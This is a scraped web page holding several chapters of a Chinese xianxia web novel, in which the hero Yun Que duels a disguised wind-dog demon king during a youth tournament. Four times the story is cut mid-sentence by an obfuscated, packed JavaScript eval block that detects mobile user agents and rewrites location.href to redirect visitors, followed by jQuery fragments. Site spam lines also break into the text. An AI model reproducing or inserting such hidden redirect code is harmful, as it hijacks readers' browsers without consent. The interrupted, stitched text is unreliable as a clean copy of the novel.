赢皓胜出毫无悬念,最后少年王的争夺,必须打败赢皓才行。 如果能冲进完美金身,那没得说,云缺肯定放手一搏,以五品战四品,胜算极大。 完美金身加上妖刀之力,哪怕斩杀四品,云缺都有一定的把握。 怎奈现在的境界尚未突破,境界大门推开了不少,但距离完全开启还差了一些。 云缺没多少把握在对战一位四品破军的时候,能成功冲进完美金身。 一旦失败 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13305758|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,就此与完美无缘。 最好的选择,便是弃权,让赢皓成为少年王。 弃权虽然能保住进阶完美的机会,却失去了少年城这份难得的助力,没有少年城,去哪收拢这么多高手回援大晋? 比斗的话,容易错失完美良机。 不比的话,援军就此烟消云散。 云缺左右为难,一时难以抉择。 随着柳真真的认输,云缺本应该就此获得最终决战的身份。 可就在云缺纠结着最后一场打还不是打的时候,忽然一道狂风刮起! 一条黑影从人群上方纵跃而来,踩着人们的脑袋跳上了擂台! 登台挑战云缺,说明有少年城的人不服! 柳真真之前当着所有人的面说过,少年城的人若是谁不认可云缺获胜,可以代替柳真真登台挑战。 其实这番话,柳真真是给自己找了个台阶下。 毕竟认输这种事,说出去有些丢人,她又是城主的身份,不战而败确实难看。 好在柳真真很聪明。 说出了谁不服气可以代替我挑战这句话,没人挑战的话,说明大家都服气,我认输也就没那么丢脸了。 以后谁要是拿这件事挤兑人,柳真真也有说辞。 大家一起服气,说明是少年城敬佩云缺,大家都对云缺心服口服,而不是我一个人佩服,认输也是少年人所有人一起认的输。 然而柳真真并未想到,她的这份小聪明,给云缺惹来了一场绝无仅有的巨大危机! 看到来者,云缺的目光瞬间冷了下来。 登台的不是人,而是一条杂毛狗! 狗眼如同老井,没有丝毫涟漪,冷静得骇人。 这条狗,是朱幺的,少年城的人全都认得。 一见狗子登台,史得侩大笑道: “哈!看来狗子不服气啊,狗就是狗,不懂什么是恩怨,云兄弟!你费点力,把狗子打出擂台你就能进阶决赛了! 少年城的其他人纷纷哄堂大笑,你一言我一语的呼喝起来。 “打一场才叫少年擂嘛!这局属于白送的,打狗子多简单,两脚就下去了哈哈! “有道理!既然狗子不服气就让它替城主打一场! “云兄弟手下留情啊!别把狗子踹死了,我们还得逗狗玩呢哈哈! “就是就是!狗子要是被打死,朱幺那小子非得哭鼻子不可! 场下的众人在开着玩笑,气氛显得十分轻松。 在少年城的众人看来,狗子登台,相当于少年擂的小插曲,让大家看个乐呵。 接连打了三天,大家观战都观累了,一场又一场的紧张打斗,看着很费心神。 如今杂毛狗来了,大家都想看个热闹,放松放松。 至于胜负,没人多想。 杂毛狗在少年城养了好多年,除了啃啃骨头,鼻子很灵,跑得快些,没人见过杂毛狗有什么其他能耐。 充其量相当于最低阶的九阶妖兽,根本不值一提。 甚至连柳真真都在掩口轻笑,认为狗子登台挑战这种事实在好玩儿。 但是云缺可不觉得好玩。 反而浑身的气机顷刻间被调动到极致,目光阴沉,如临大敌! 第574章 狗妖王 杂毛狗的底细少年城的人或许不清楚但云缺心知肚明。 眼前这条看似可怜兮兮的小狗极有可能拥有着三阶妖王的实力! 没人知道杂毛狗的来历。 少年城的人只知道是朱幺捡来的小狗这些年一直在少年城里养着大家没拿小狗当回事儿都以为小狗登台是场闹剧很快会被一脚踢飞唯独云缺知道自己将迎来一场凶险的恶战! 杂毛狗的登台时机拿捏得恰到好处。 正是柳真真认输并且宣布少年城的人可以随意替代自己挑战云缺。 杂毛狗虽然不是人但也是少年城的一员它登台没人反对大家只觉得有趣而已。 云缺深吸一口气冷冷的盯着杂毛狗喝斥道: “此地少年擂你算哪门子少年滚下去!” 汪汪! 回应云缺的是两声犬吠。 杂毛狗并不下台反而现出犬牙做出即将扑杀的姿态。 见杂毛狗打定主意来捣乱云缺朝着台下大喝道: “谁家狗子!赶紧牵走要不然一会儿炖狗肉!” 史得侩在台下嘎嘎大笑道: “好哇!炖熟了分我两碗!娘的这些年早就馋这口儿了要不是朱幺看得紧狗子早下锅了!” 云缺听得眼皮直跳。 心说幸亏你丫的没动手否则不一定谁炖谁呢。 台下的少年城众人纷纷起哄要看云缺炖狗肉有的甚至掏出了碗筷就等着开吃了。 云缺望向柳真真道: “城主这不好吧少年擂上怎么能有狗呢这局我不打赢了也没意思。” 柳真真笑道: “不打不行哦!狗子也是我们少年城的一员赢了它你就能一局不少的杀进决赛公平公正!” 其他少年纷纷大喊。 “有道理!我们少年城都佩服云兄弟这局我们谁也不上就让狗子打!白送一局!” “一脚的事儿反正是朱幺的狗子踹死了我们也不心疼嘿嘿!” “我看一脚够呛狗子灵敏得很估计得多踹几脚。” “云兄弟加把劲!用你的烈焰拳法把狗子烤熟 听着少年城众人的高呼,云缺心里仿佛有万马奔腾。 吃烤肉? 我烤你们大爷! 三阶妖王啊这是,谁想烤,谁上来自己烤! 云缺可不想与杂毛狗动手。 若是之前,有月魁的存在,即便对上杂毛狗云缺也不惧,大不了完全妖化放月魁出来。 妖王对妖王,看谁先死。 但现在进阶到了关键时刻,只能赢,不能输,又不能动用妖力,云缺太过吃亏。 念头一转,云缺指着杂毛狗就要道出对方的真正境界,将真相公之于众。 话没出口,杂毛狗居然在原地消失! 一阵狂风袭来,两只狗爪已经到了云缺面前! 杂毛狗仿佛猜到了云缺的用意,瞬间发动奇袭! 云缺豁然一惊。 太快了! 甚至连施展影步的时间都没有! 来不及躲闪之下,云缺将双拳交叠,形成防御,硬抗狗爪。 嘭!! 低沉的闷响中,狗爪拍在了云缺的手臂上,声音并不大,可是云缺整个人猛地往下一沉! 云缺的腿几乎弯曲到极致,差点没跪在地面。 杂毛狗拍中云缺后,身体朝着后方翻腾了几圈,这才落地。 在外人看来,好像是云缺轻而易举挡下了狗爪,并且差点将杂毛狗震飞出擂台。 可是只有云缺清楚,刚才那一击有多么恐怖! 云缺此时只觉得五脏六腑一阵翻腾,浑身气血不受控制的紊乱起来,险些喷血! 两条狗爪看似弱小,其上的力量比四阶蛇尾猿的全力一击还要恐怖数倍! 蛇尾猿的力道,云缺以本体能勉强扛得住。 但是杂毛狗的力量,云缺是挺不住的,多被打中几次,骨断筋折都是小事,很容易整个人都被砸碎! 云缺缓缓直起身,心头却渐渐发沉。 杂毛狗,果然是妖王程度! 要知道现在的杂毛狗,只是个小狗形态,与化形人身有着相似之处,无法发挥出全部力量。 即便如此,对方都能轻而易举的施展出四阶巅峰大妖的力量,一旦展现出真正的妖身,必定是三阶妖王无疑! 这一战,不能打…… 否则容易被活 活打死! 云缺打定主意趁着自己还未出手就要跃出擂台区域。 先避开杂毛狗再说。 反正就算自己跳下去也不算输。 毕竟杂毛狗没资格替代城主挑战狗就是狗又不是人其他众人都拿这场打斗当热闹看。 云缺冷冷的瞥了眼杂毛狗忽然抡起拳头看似要打狗实则身形掠动直接动用了影步向后急退。 一个呼吸之间云缺就到了擂台边缘。 再迈一步即可跳下擂台。 可没等云缺站稳呢身后突然出现了杂毛狗! 这条狗的速度居然比影步还要快! 杂毛狗封住了云缺的退路再次跃起以前爪拍向云缺。 云缺根本避不开只能再次硬抗。 嘭!! 又是一声不重不轻的响动。 云缺整个人在擂台上向后滑动两脚陷在了岩石里! 堪堪停在擂台中心云缺的脸色变得苍白起来。 两次重击云缺差点喷血! 杂毛狗的速度太过恐怖这头犬妖显然以速度见长而且有着风系天赋能让其融入狂风瞬息而至。 更让云缺心惊的是杂毛狗的心智! 这条狗 汪! 汪汪! 杂毛狗的叫声与寻常家犬无异但是两只狗眼却阴冷得骇人。 “狗东西……” 云缺刚刚低语而出杂毛狗再次攻来! 根本不给云缺任何开口说话的机会每次扑杀都选择了绝佳的角度封死了云缺想要逃离擂台的所有方位。 云缺没办法之下只能全力动用影步与杂毛狗在擂台上周旋。 这次云缺的运气不太好。 如果是之前的小擂台想要趁机逃走问题不大以影步的挪移就有机会直接出现在擂台之下。 但是打到现在十六座小擂台已经合拢为两座大型擂台极其宽敞。 一次影步的挪移大致在一两丈的距离战场变得庞大云缺想要以影步逃离变得愈发困难。 修炼影步的时间太短云缺难以发挥出影步真正的威能。 杂毛狗快如旋风不 断进攻。 云缺则左右腾挪,尽力躲避。 如此打斗,在外人看来好像云缺在戏耍杂毛狗,殊不知其中蕴含的凶险。 只要一个疏忽,云缺就可能身死于此。 台下的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13305759|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柳真真渐渐看得不对劲了,奇怪道: “狗子的速度怎么如此之快,以前没见它跑这么快啊。 史得侩不以为意的道: “可能吃了什么好东西,这些年狗子没少在少年城附近晃悠,吃些灵材,强化了本体而已,它跑得再快,还能吞了云兄弟不成,你瞧,云兄弟玩得多开心! 少年城的众人看来,云缺的确如同在遛狗一般,好似玩得不亦乐乎,因为谁也不相信狗子能伤到云缺。 于是大家纷纷将注意力转向了另一侧的擂台。 比起遛狗,二皇子与朱幺的打斗更加有趣。 两人始终在较量力道。 你一拳,我一脚,打得有来有往。 自从赢皓展现出四品破军之力,小胖子朱幺明显落在下风,还手的时候少,躲避的时候多。 最后朱幺围着擂台开跑,速度还挺快。 赢皓在后面闲庭信步般追着打,打一阵儿,摇一摇酒壶,唉声叹气。 没酒了,这位二皇子不太高兴。 台下。 商暮始终盯着云缺与杂毛狗,她渐渐锁紧了眉峰,低语道: “那条狗,有问题。 “有啥问题?不就是条狗妖吗,充其量八阶七阶而已,云缺那家伙实在可恶,人家打擂打得你死我活,他倒好,在擂台上遛狗玩!这不明显在羞辱打过擂的高手么。商福撇嘴道。 “绝非低阶妖兽,那条狗很强,好像比星狼还强!商暮低语中,眼瞳渐渐泛起幽蓝之色。 “不会吧!商福惊讶道:“比星狼还强,那不成了三阶妖王!怎么可能呢? 商暮盯着擂台,摇头道: “我看不出那条狗的真相,它身上好像有种奇异的力量,遮蔽了所有气息。 商福顿时诧异起来,道: “星狼之眼都看不透?这么说,云缺那家伙要倒霉了…… 被五花大绑的冥欢用一双小眼睛盯着擂台,暗暗低语道: “杀了蛇尾猿, 你也下不去擂台!嘿,看你怎么死! 大秦一方。 丞相左兰山望着擂台区域,冷哼道: “少年城里怪事不少,连条狗,都要成精了。 马至远始终神色凝重,道: “与驸马动手的小狗绝非凡物,速度之快,居然连影步都甩不开,属下愚钝,看不出此兽的真身,大人莫非看出了真相? 左兰山品着刚刚沏好的热茶,道: “那条狗伪装得极好,从外表看,很少有人认得出来,只能从一些特征来分辨,马至远,你在老夫身边已经多年,眼力应该锻炼得不差了,你能看出些什么。 听闻丞相大人考教,马至远立刻拱手答道: “属下只能看出此犬速度如风,有着御风天赋,力量应该也不小,否则驸马不会选择躲避。 左兰山点了点头,道: “你的眼力,还算凑合,至少看懂了驸马在躲,既然你能看出此犬有御风天赋,不妨猜一猜,它是何种犬妖,给你个提示,有个风字。 “风…… 马至远略一沉吟,恍然道:“莫非,台上的是欺风犬! 见丞相点头,马至远知道自己猜对了。 但这位御史大夫非但没有任何高兴,反而脸色变得苍白如纸,望向云缺所在的擂台时,眼里竟涌动着一种惊恐之色! 注册本站会员可以解锁更多福利,快试试吧 第575章 武夫就是下贱 欺风犬这种妖族,身为御史大夫的马至远其实也没见过。 但他看的书多,了解过此种奇特的妖兽。 欺风犬,顾名思义,这是一种拥有着风系天赋的犬妖,全力施展天赋之际,甚至可以将本体化作狂风,携风而走,所以才被称之为欺风犬。 意思为连风都能欺负的奇特犬妖。 欺风犬的速度,几乎是妖族中的极致,据说这种妖物传承自上古异种的血脉,极其罕见。 一旦有人发现欺风犬,最少都是四阶大妖级别,甚至有可能是妖王! 确认了欺风犬之后,马至远惊恐不已。 他怕驸马被活活打死在擂台! 之前云缺斩杀蛇尾猿的时候,马至远看得一清二楚,他看出云缺那一战其实占了妖族化形后难以发挥出全力的便宜,属于讨巧才赢的。 但这次不一样。 犬妖本身就是狗类形态,不是人身状态,即便发挥不出全力,肯定要比化形后的战力强大得多。 驸马只有六品修为,接连恶战已经耗费不少气力,再遇强敌,很容易出事。 “大人,驸马看样子想要逃离擂台,不能让他再战了。”马至远急急说道。 一旁的大皇子也点头道: “我就说么,刚才看他好像要跑似的,原来他斗不过小狗啊,实在不行,让人上去帮忙,把驸马救下来,我就一个妹子,没成亲就当了寡妇多不好。” 见大皇子也赞同救下驸马,马至远就要亲自出面。 少年擂已经被万妖国一方胡闹过一次,这次又来条欺风犬,这还打什么少年擂,不如改成斗妖大会好了。 马至远起身请命。 丞相却不以为意,示意他坐下。 “驸马死不了。” 左兰山冷哼一声,道:“他既然能抗住欺风犬的两次重击,说明他还有余力,你即便去擂台,他也未必会下来,别忘了,他正在冲击完美金身,交手之前可以逃走,现在动手了,他已经没了退路。” 大皇子赢财道: “完美不完美的,不都是金身嘛,总不能命都不要了,去争一个虚无缥缈的完美之境,咱们大秦亿万臣民,有几个是完美金身,我看还是小命要紧。” 左兰山沉声道: “殿下可以没有骨气,但天下苍生,未必人人都没有骨气,人为一口气,佛为一炷香,不去搏一个痛快,枉为少年!” 赢财张了张嘴,不吭声了。 在丞相面前,连他老子都要客气几分,他可不敢忤逆人家。 不过嘴上不敢,心里却敢,于是在心里开始问候丞相的祖宗十八代。 顺序跟云缺问候的时候都是一模一样的,从丞相他娘开始问候。 马至远观看着擂台,发现云缺的影步虽然不凡,但是欺风犬的速度更快。 云缺一旦挪移到一个位置,欺风犬立刻如影随形般抵达,并且拍出前爪。 如此一来,云缺的处境变得岌岌可危。 再这么下去,马至远觉得驸马肯定得死在台上不可! 马至远硬着头皮道: “大人,驸马看样子明显不敌,与其身死于此,不如放弃完美金身,留得青山在不怕没柴烧,我想驸马也会如此认为,再不去帮忙,怕是要来不及了。” “不着急,再等等。” 左兰山老神在在的品着茶,一幅对驸马的生死毫不在意的架势。 马至远干着急没办法。 丞相大人不发话,他可不敢轻举妄动。 赢财看了眼丞相,又看了看擂台上的驸马,在心里嘀咕道: 老不死的丞相真冷血,驸马真可怜,我妹子一旦成了寡妇,全是丞相的责任,我看这次谁还能把黑锅按我头上…… 赢财帮不了驸马,只能替驸马又把丞相的祖宗十八代再骂一遍。 马至远始终聚精会神的观战,渐渐的,他发现了一些不同之处。 虽然驸马的影步施展得十分狼狈,却在挪移身影的瞬间,还能再做出规避动作。 现在擂台上的云缺变得很奇怪。 时而在擂台一侧弯腰,时而在擂台对面侧身,时而在另一个方向跳跃。 如果连着看的话,好像驸马在原地活动着筋骨,只是在影步的施展之下,每个动作都被分成了不同的画面。 “他在躲……不对!驸马挪移的速度变快了,身形也更加灵敏,这是什么原因?” 马至远惊疑不已,很快他恍然大悟道:“他在修炼影步!” 正如马至远的判断 左兰山品了口茶水道: “现在才看出他在修炼你的眼力还需要磨练几年影步这种武道法门极其特殊唯有在危机当中才能修炼得最快平常时候再如何修炼都很难有进步。” 大皇子听得好奇不由得问道: “丞相大人莫非了解影步?为何说影步要在危机中修炼才能进步神速呢?” 左兰山冷哼一声道: “因为影步这种武道天生为了偷窃而生!龙桃创出影步就是用来逃跑用的他为了将影步修炼到大成天天半夜潜入丞相府来偷东西足足持续半年之久!那半年老夫每天半夜都得醒来去抓贼东西倒是没丢多少龙桃的影步居然修炼到圆满。” “哼!武夫就是下贱天生的蟊贼贱皮子!” 左兰山说完大皇子面无表情的转了回去郁闷的看着擂台。 赢财心里开始骂自己嘴欠问什么影步啊没来由的被人家指桑骂槐。 大皇子也是武夫丞相骂武夫连他一起都给骂了。 擂台上。 云缺不再单纯的躲避开始了反击。 用的是影拳。 奔雷掌与赤炎拳太过耗费气力虽然威力巨大但速度不快杂毛狗能轻易躲开。 而影拳专门攻击影子。 杂毛狗虽然速度如风只要掌握它攻击的规律就有机会打到影子。 云缺不再多想逃走的事。 既然开战那便战到最后! 三阶妖王又如何不痛痛快快的打一场谁知道鹿死谁手。 散去所有杂念云缺随之沉浸到空明状态。 影拳与影步接连动用互相配合两种武道法门的修炼进度堪称惊人。 云缺挪移的距离越来越远。 从最初的一两丈到三丈四丈五丈! 随着影步的掌握愈发娴熟杂毛狗的进攻变得不在凌厉。 并非杂毛狗的速度变慢而是云缺的速度变快! 在一些低阶修士的眼里擂台之上的云缺变得越来越多好像四面八方都有云缺认不出哪个是真的哪个才是残影。 到后来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13318237|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连柳真真与史 得侩这些五品金身都看得眼花缭乱。 史得侩快速的左右晃动着脑袋,好奇道: “奇怪了!云兄弟这是动用了分身法门么,我怎么看有两个云缺呢? 柳真真惊奇道: “不是分身,而是他的身法变快了!我记得当初妖兽攻城之际,云缺对战蛇尾猿的时候绝对没有这么快的身法,他居然修炼得如此之快!武道天赋简直惊人! 史得侩与一众少年城的众人纷纷点头,认可着云缺的武道天赋。 然而这些人忽略了一点。 那条依旧能跟上云缺速度的杂毛狗! 人群里,商福揉着发疼的脖子,不再去追踪云缺的真身,忌惮道: “妹子啊,看来云缺那家伙之前没用全力呀,他给咱们留手了,你瞧,他现在拿出真功夫,就这身法,妹子你未必能赢啊。 商暮紧锁秀眉,道: “留什么手,他与我对战的时候根本没留手,之前他施展不出这么快的身法罢了,他在借助那条犬妖修炼身法,而且进境极快! “什么!他在擂台上修炼?商福觉得听到了天方夜谭,瞪着眼睛一脸的不可思议。 鸿影看得热血沸腾,大吼着师兄加油,喊得嗓子都哑了。 白誉则松了一口气,他觉得那杂毛狗大有古怪,见云缺能坚持下来,他现在放心不少。 段无病也在擂台下观战,此刻频频点头,对云缺施展的武道造诣佩服不已。 很快,擂台上发生了变化。 杂毛狗不再汪汪的叫,而是发出一声低吼! 同时杂毛狗的狗毛以肉眼可见的速度变长了一倍。 一身长毛的杂毛狗,速度再次提升! 这下人们几乎看不到狗了,只能看到擂台上炸起了无数道狂风,呼啸而过,追杀着云缺。 云缺无论身影出现在何处,都有一团狂风同时抵达,擂台上狂风肆虐,几乎形成龙卷。 这下柳真真史得侩等人终于看出不对劲了。 “狗子速度这么快? 史得侩挠头道:“不应该啊,这种速度我眼睛都跟不上,难道狗子吃了什么坏东西,变异了? “狗子好奇怪,究竟怎么回事,朱幺的小狗为何如此之强?柳真真惊疑道。 杂毛狗此刻发挥的力量,远非低阶妖兽可比。 而云缺的压力再次大增。 杂毛狗的速度比之前快了一倍,云缺想要以影步躲避变得很难。 但是云缺仍旧施展着影步,并且始终配合着影拳。 哪怕战得无比艰难凶险,始终执着得犹如愚公一般。 随着杂毛狗的速度大增,狗爪的力量也愈发恐怖,云缺不得不承受更多的攻击。 台下的众人越发震惊。 越来越多的人看出了杂毛狗的不正常。 但是人们渐渐发现,云缺的身影也开始出现变化。 随着云缺一次挪移,擂台两侧,竟同时出现了两个云缺! 两个云缺同时脚下炸起气旋,一个施展出赤炎拳,另一个催动着奔雷掌,合击杂毛狗! 很多人都认为两个云缺当中,肯定有一个是残影。 然而丞相此刻却从大椅上豁然站起,见鬼般惊讶道: “影身之法!怎么可能!!! 第576章 狗就是狗 擂台上, 两个云缺的合力进攻,同时轰出了两种不同的武道。 雷炎之光交相辉映,瞬间融为一体,形成一团冲天而起的雷炎龙卷! 一些目力较强的修行者,甚至能看到那只杂毛狗在龙卷当中不断旋转,一时间失去了平衡! 史得侩大赞道: “厉害呀!难怪人家能斩杀蛇尾猿!雷掌炎拳融合之后的威能,实在可怕! 柳真真点头道: “真没想到,云缺在武道的造诣能达到如此程度,这等天赋世间罕见! 无论少年城的人,还是其他国度的修行者,此时对云缺的武道造诣无不折服。 大家都听说过天才这两个字,身边也有不少天赋较高的同伴被冠以天才之称,今天到了少年擂才算明白过来,原来自己周围的天才太过平庸,真正的天才,是能以六品修为战五品,甚至力战四阶大妖的狠人! 在所有人的眼里,云缺才是真正的天才,简直是天纵奇才,武道奇人! 商福看得心惊肉跳,一个劲儿劝说妹子放弃以后的挑战。 在商福看来,擂台上的云缺根本就不是个人,而是头凶兽! 商暮的眼眸始终流转着幽蓝之芒,她的表情十分奇怪,始终盯着云缺并保持着震惊的模样。 商暮所震惊的,并非云缺的雷炎拳道,而是云缺犹如分身般的身法! 商暮动用的星狼之眼,能清晰分辨出擂台上绝非一个云缺,而是两个! 所有人都认为的残影,根本不是影子! 擂台周围有数十万人之多,其中最为震惊的不是少年城的人,也不是大唐的人,更不是其他国度远路而来的修行者。 而是丞相左兰山! 身为大秦丞相,左兰山自从抵达就安稳落座,哪怕现在山崩地裂,这位三朝元老都能纹丝不动,但此刻却豁然站起,始终安稳的神态变得惊疑交加。 在震惊之余,左兰山的目光灼热起来,仿佛擂台上的不是驸马,而是一件绝世珍宝! 大皇子赢财听闻了丞相的惊呼,疑惑道: “影身之法?莫非是太尉那份无人得见的杀手锏? 左兰山点了点头,道: “龙桃的绝杀之法,居然一个月而已就被人家学了去, 后生可畏啊。” 左兰山这句后生可畏,说得有些沧桑。 尽管恼怒着驸马的桀骜不驯,但是左兰山在此刻不得不承认,驸马的武道天赋之高,是他生平仅见! 大皇子的天赋,在大秦之内被公认为极高。 但是在左兰山看来,大皇子的天赋在驸马面前连提鞋都不够格! 甚至太尉,甚至秦皇,都达不到驸马这种恐怖到令人心惊的武道天赋! 此刻的擂台上,雷炎龙卷已经被一团黑风所吞噬,那风中有一颗狗头若隐若现。 犬妖没费多大力气便抗住了雷炎绝杀,继续发动冲锋。 但是这一次,犬妖的目标变多。 擂台上,两个云缺始终存在,一模一样,犹如分身! 两个云缺外表一样,施展的武道却不同,一个动用影步与影拳,另一个施展赤炎拳与奔雷掌,互相配合,大战犬妖。 台下众人看得大呼精彩。 认为云缺以特殊手段制造了一个分身,或是异宝,或是灵符,再不就是法术。 唯独丞相左兰山才知道,那两个云缺根本不是异宝与法术形成,而是武道施展到极致的体现! 影拳与影步,是太尉龙桃的绝学。 但是在影拳与影步之后,还藏有一份外人不得而知的绝杀之法,叫做影身之法! 影身之法的来历,是影拳与影步完美融汇所致。 施展出影身之法,即可创造出另一个分身! 这道分身绝非幻影,而是真实存在,可以施展出本体一半的力量! 影身之法,说白了就是以绝妙的武道,凭空制造出分身的奇特功法,是影步的后续法门。 当初太尉送给云缺一枚玉简,其内是影拳的全部招式,更有着影步这份隐藏的法门。 而影身之法,玉简里可没有! 是云缺在战斗中自行领悟而出,如此武道天赋,难怪丞相都觉得震惊。 杂毛狗现在不清楚哪个云缺是真身,只能两个一起攻击,如此一来,气力被极大的消耗。 与杂毛狗的打斗,云缺变得轻松了不少。 之前被追着打,现在终于能够反击! 擂台上的两个云缺,各自施展不同的武道,越打越猛,互相之间的配合 也随着恶战变得愈发娴熟。 影身之法,其实是云缺无意中修成的。 云缺始终沉浸在影拳与影步当中,靠着不停的战斗,渐渐将两种武道完全掌握,达到如火纯青的地步。 一旦将影拳与影步施展到极致,云缺便察觉到两种武道之间仿佛有着某种特定的关联,而这份关联,预示着一种崭新的武道! 身为妖血武夫,云缺对于武道的敏锐可以说与生俱来。 既然有杂毛狗这个速度如风的强大对手,云缺正好将其当做修炼的道具。 终于,在绝险的恶战当中,云缺探索出了影拳与影步的后续法门。 影身! 当施展出第二道分身之际,云缺有一种奇特的感觉,就好像自己的一只手离开了身体,可以自行活动。 正常情况下, 刚刚修成的武道必定会生涩,很难立刻达到对战的程度,需要加以不断磨练才能掌握。 云缺之所以悟出影身即可动用,其实归功于墨老的炼尸术。 控制炼尸,云缺是有经验的,可以说相当熟练,于是结合了炼尸术的经验,一上手即可掌握分身,达到即刻作战的效果。 这也是丞相左兰山震惊的真正缘由。 当年太尉龙桃刚刚创出影身之法的时候,屁颠屁颠的去找左兰山炫耀,并且当场切磋。 由于太尉刚刚能动用影身,根本不熟练,结果可想而知。 不仅分身被人家丞相给灭了,连本体都挨了好几脚,后来经过半年左右的时间,太尉才能将影身之法运用到实战。 如今,云缺动用影身即可作战,左兰山哪能不惊,更认定了驸马的天赋远超太尉! 随着影身的施展,云缺在擂台上如鱼得水。 除非杂毛狗现出真正的妖身,动用三阶妖王之力,否则的话,想要打败云缺已经不太可能了。 云缺战得越来越痛快,越来越兴奋,将影拳影步与影身之法完全施展到极致。 局面开始渐渐扭转。 原本追着云缺打的杂毛狗,时而开始防御,双方达到了势均力敌的程度。 在打斗的过程中,云缺隐约有一种奇特的预感。 一个分身,绝非影身之法的极限! 只要自己的气机 足够应该 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13318238|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还能动用出第二个第三个乃至更多的分身! 如果境界足够高的话甚至能以影身之法制造出一支大军! 到时候影身之法会再次提升从影身变成影军! 可惜现在的云缺境界太低只有六品宗师而已别看本体强悍得堪比妖族但气机是固定的。 尽管拓展了五成的经脉足以远超其他六品仍旧还是六品的范畴。 以云缺现在的境界施展出一个影身已经是极限不过只要冲进五品即可动用更多的影身! 过了不久 杂毛狗也开始变得狂躁起来狗眼渐渐爬满血丝速度再一次加快。 这场恶战并未持续太久便分出了胜负。 在杂毛狗的一次拍击过程中云缺没有防御而是死死抓住了狗爪。 云缺的身体被拍出了擂台杂毛狗也被拽出了擂台双双掉落台下。 落地之后云缺的身体如同烟尘般碎裂消失只剩下杂毛狗在地面龇牙低吼。 擂台上云缺真正的本体淡淡一笑。 狗就是狗比猴子还蠢。 用一具影身带走了杂毛狗云缺就此获胜。 这一局云缺可不想战得太久。 对方是妖王自己这么点修为岂能是对手杂毛狗真要现出妖身足以击杀自己到时候得不偿失。 能将其打出擂台令其落败才是最佳选择。 云缺这边胜出之际另一方擂台上也即将决出胜负。 朱幺被赢皓打得连连后退最后竟护着脑袋蹲在地上被赢皓一顿乱拳打得一声不吭。 四品破军的拳力每砸一下都令人心惊肉跳。 人们都觉得小胖子肯定会被活活打死! 少年城一方有很多人都在大喊大叫让朱幺快点认输。 硬抗四品破军本就是傻子的行为这时还不认输岂不是必死无疑! 最后柳真真与史得侩全都看不下去了纷纷大喊道: “朱幺别打了!快快认输还有生机!” “朱幺你傻啊!打不过人家还硬抗什么!这里是擂台打死都没人给你报仇!” 登上少年擂等同于签了生死状生死各安天 命。 轰隆一声闷响! 赢皓最后砸下一拳。 擂台上气浪翻滚,岩石地面被破军气机硬生生给刮掉了一层,沙土飞扬! 很多人吓得一闭眼。 人家二皇子看来动怒了,不再留手,这一击足以轰杀五品金身! 所有人都认为小胖子朱幺完了,即便侥幸不死,也必定重创。 赢皓拎着空酒壶,不耐烦的道: “赖皮赖脸的人真多啊,打不过非得找死,这下你满意了吧。 云缺就在不远处的擂台,能感受到赢皓最后一拳的恐怖力量。 云缺对于少年擂最后的争夺,开始犹豫起来。 战四品,可不容易。 关键完美金身还无法达成,只差了最后一步。 是放弃少年王,另找其他合适的对手冲击完美金身,还是冒着落败的风险去对战四品破军? 云缺这边胡思乱想之际,赢皓所在的擂台上忽然传来一阵冷笑。 “嘿嘿嘿,大秦皇子原来就这么点能耐……你打够了是吧,那么,该老子揍你喽!揍死你,再去干死秦皇! 人们都以为被活活打死的朱幺,此时居然缓缓站了起来! 你身边有不少朋友还没看到本章呢,快去剧透一下,他们会很崇拜你的 第577章 吊打破军 朱幺起身之后,弹了弹身上的灰土,咧嘴怪笑。 见朱幺非但没死,反而还有再战之力,擂台下方的众人纷纷愕然。 尤其少年城的人,都觉得不可思议。 朱幺什么修为,少年城的人全都知道,六品宗师境而已,可人家却能在四品破军的猛攻之下安然无恙! 柳真真与史得侩这些少年城的元老都备感诧异。 “朱幺这家伙有两下子了啊,居然这都没死!他肯定有什么异宝,或者瞒着我们偷偷进阶了!”史得侩道。 “即便朱幺进阶到五品金身,也扛不住四品破军之力,到底怎么回事?”柳真真蹙眉道。 